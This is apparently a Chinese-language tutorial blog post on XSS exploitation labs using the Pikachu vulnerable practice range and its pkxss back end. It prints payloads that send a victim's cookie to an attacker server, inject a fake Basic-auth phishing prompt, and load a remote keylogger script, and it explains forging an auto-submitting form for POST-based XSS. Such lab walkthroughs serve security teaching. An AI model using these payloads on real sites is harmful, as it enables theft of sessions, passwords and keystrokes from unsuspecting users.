Pikachu-xss漏洞之cookie获取、钓鱼攻击和xss获取键盘记录

将进行下图3个实验,更好的来理解xss的危害和原理

 

先去修改下Pikachu靶机中的,cookie.php修改成自己的ip

 

实验1:xss如何获取cookie?            

 

只需要将  Pikachu靶机中的pkxss文件复制到攻击机中的站点(www)下即可。

登入下

    

 

默认没任何数据

 

1.1 GET型XSS利用:cookie获取            

先将字符长度的限制给修改掉

 

pkxss后台:

http://192.168.43.117/pkxss/pkxss_login.php

现在是没任何数据的

 

 在输入框中输入下面语句,输入完后会重定向到Pikachu的首页

<script>document.location = 'http://192.168.43.117/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

 

 刷新pkxss后台

 

 在实际的场景中我们可以把 红框选中的url发送给用户,一旦他访问啦这个链接,我们便会获得他的cookie值

 

上面我们做的GET型XSS的利用,下面我们来演示

1.2 POST型XSS的利用:cookie获取                  

首先我们先来查看下,post(xss)的情况,登入下,用户:admin,密码:123456,,提交参数,并抓包

 

我们可以看到它并没有在url里传递参数

 

抓包,分析。

通过post方式传到后台的。虽然这里也存在xss,但请求是post方式发送的,我们无法将恶意代码直接嵌到url中发送给目标

 

这种情况下应该怎么弄?

攻击者伪造表单自动提交页面

原理图(红框选中部分和上面的get型原理是一样的),

 

接下来我们看下让用户访问的,伪造表单自动提交页面(在Pikachu中的pkxss下的xcookie下的post.html)

并修改漏洞页面为自己Pikachu靶机的ip,pkxss后台为自己的ip。为了方便也可以,将漏洞页面和pkxss搭建在一台主机上。

修改完后记得先去重启下phpstudy服务(如何用的别的软件,都一样,重启下环境服务就行)

 

修改完后,复制到,其他主机站点(www)下。

模拟的恶意站点:

http://192.168.43.118/post.html

当有用户点这个链接时,,就会实现我们的攻击目的。

 

实验2:钓鱼攻击                    

思路:在一个存在xss漏洞上的页面上嵌入一个链接请求,请求会返回一个Basic认证的一个头部。

若用户信息安全意识不够,输入了用户和密码,那么这些会被发送到pkxss后台

我们的实验用 存储型xss模块演示

 

 

我们只需要在这个存储型的页面上去,嵌入一个能够访问我们后台的返回Basic认证的标签就行,

这里可以用a标签、img、<script>

<img src="http://192.168.43.117/pkxss/xfish/fish.php" />

<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>

查看下fish.php源码,其中location(重定向)换成自己的ip

 

 

和我们之前获取cookie一样,钓鱼的后台也有个接口(xfish.php)

获取远程的数据,通过get方式去获取账号密码存到库里面。

 

 

返回输入框,输入(其实里面没有什么内容,只是用src调用我们的远端php文件)

<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>

 

 

 

 

 若输入了账号和密码,去pkxss后台可查看

 

 

 

实验3:xss获取键盘记录                  

在实验前,我们先了解下什么是跨越

 

 

 

为什么要有同源策略:

  A登入了淘宝,攻击者向A发送了一个恶意链接urlb:http://www.giao你cookie.com

  如果没有同源策略不用xss和其他漏洞就能读你的cookie信息,即urlb上的js可以操作A的内容(如:获取cookie等)

  有啦同源策略(所有的浏览器共同约定的同源策略),就限制啦这种情况

再比如:

  一个恶意站点A上使用啦<iframe src= "B站点登陆页面" > ,发送该恶意url到攻击对象,攻击对象登陆后如果,没有同源策略,

则A上的JS即可获取B站点的登录信息。

 

开始实验

我们仍然是用存储型xss来演示,先看下pkxss后台的键盘记录

修改ip,ip为自己pkxss后台的ip地址

  

返回输入框,

<script src= "http://192.168.43.117/pkxss/rkeypress/rk.js"></script>

这一策略就违反啦同源策略,(ajax)

打开浏览器控制台

 

随着键盘的输入,会显示错误。(当然这时,pkxss后台也是没有键盘记录的)

 

由于192.168.43.117/pkxss/rkeypress/rkserver.php是攻击者自己搭建的,

攻击者可以允许所有的人跨域请求他,因为这个网站是攻击者自己的,

为了实现攻击目的,可以rkserver.php把里面的Access-Control允许所有人访问。

这样的话,存在xss漏洞的页面调js跨越请求…43.117的时候就可以正常访问啦。

改完,在页面输入后,pkxss后台会有键盘记录。

posted @ 2020-03-31 12:56  escwq  阅读(2857)  评论(0编辑  收藏  举报